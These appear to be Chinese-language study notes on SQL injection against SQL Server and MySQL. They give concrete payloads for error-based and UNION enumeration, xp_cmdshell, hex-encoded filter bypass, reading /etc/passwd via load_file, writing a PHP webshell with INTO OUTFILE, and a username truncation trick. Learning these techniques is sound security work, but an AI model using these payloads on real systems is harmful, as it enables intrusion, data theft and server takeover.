SQL server
(1)利用错误信息提取有用信息。比如列名[admin' having 1=1--']
利用 group by having 1=1-- 语句递归获取表的所有列名。
eg: select * from users where username = 'root' and password = 'root' having 1=1--'
在password的注入点输入字符串[root' having 1=1--]SQL server报错为[列表中的列user.id无效]从而通过这样的>方式可以获得表的列
eg: select * from users where username = 'root' and password = 'root' group by user.id having 1=1--'
还是在password的注入点输入字符串[root' group by user.id having 1=1--]这次GROUP BY 了user.id 所以会爆>出下一列的列名:user.name;
(2)利用数据类型错误提取数据。比如列值 [root' and 1>(select top 1 username from users)]
利用数据类型转换可以从报错中知道第一个用户的名字是什么。
子查询:
password = 'root' and 1>(select top 1 username from users) 报错:字符串 'root' 转换成 int 型时失败。这样可以循环的爆出所有用户的 用户名。
CONVERT 函数转换 也能使SQL server报错。
(3)使用Order by 语句可以通过报错来知道表中有多少列。 共多少列 order by num;
eg: select * from users where id=1 order by 1 执行正常 order by 5 执行失败,出现报错。表中列数可以清楚地知道在1-5列中
union联合查询
select id,name,pass from users where id = 1 union select null 报错 会提示字段数不匹配。
select id,name,pass from users where id = 1 union select null null null 成功执行。可以知道该程序的sql语句中是查询三个字段的。
存储过程
常用的存储过程函数:xp_cmdshell xp_enumgroups xp_regwrite xp_regread xp_dirtree xp_regdeletevalue xp_servicecontrol sp_addlogin sp_dropuser sp_password
需要 CONTROL SERVER 权限。
SQL server支持动态执行语句 eg: exec('select * from users') 重要在于可以 exec(16进制) 从而绕过防火墙or防注入程序。
MySql
mysql 和 sql server相差无几。union查询 中 select 1,2,3 这种在sql server 可能会有数据类型错误报错。在mysql中却可以正确执行。所以select null,null,null 的兼容性好。
内置函数:
读取文件:load_file() eg:union select 1,2,load_file('/etc/passwd'),4,5,6 load_file参数还支持16进制,或者使>用char函数构造出参数字符串
hex() 函数可以用在 当注入时浏览器返回数据是出现编码错误的时候可以使用 select >hex(load_file('/etc/passwd'))将文本转换成16进制返回。
写入文件:into outfile
select '<?php exec($_GET['cmd']);?>' into outfile '/data/www/1.php' 将一句话木马写入网站服务器根目录。
mysql长字符截断 版本5.1 5.7.16依然有效..
username 字段类型 varchar(7) 当管理员为admin时。用户注册一个admin (三个空格)此时有sql:
select count(*) from users where username='admin' password='******';此时用户注册的[admin ]也符合此>sql的查询条件。
延时注入
一般在url参数上加 单引号 等 特殊字符,通过页面的差异化来判断是否有注入点。但是有些网站是看不出来差异化的。所以有了盲注的说法 延时注入是盲注的一种。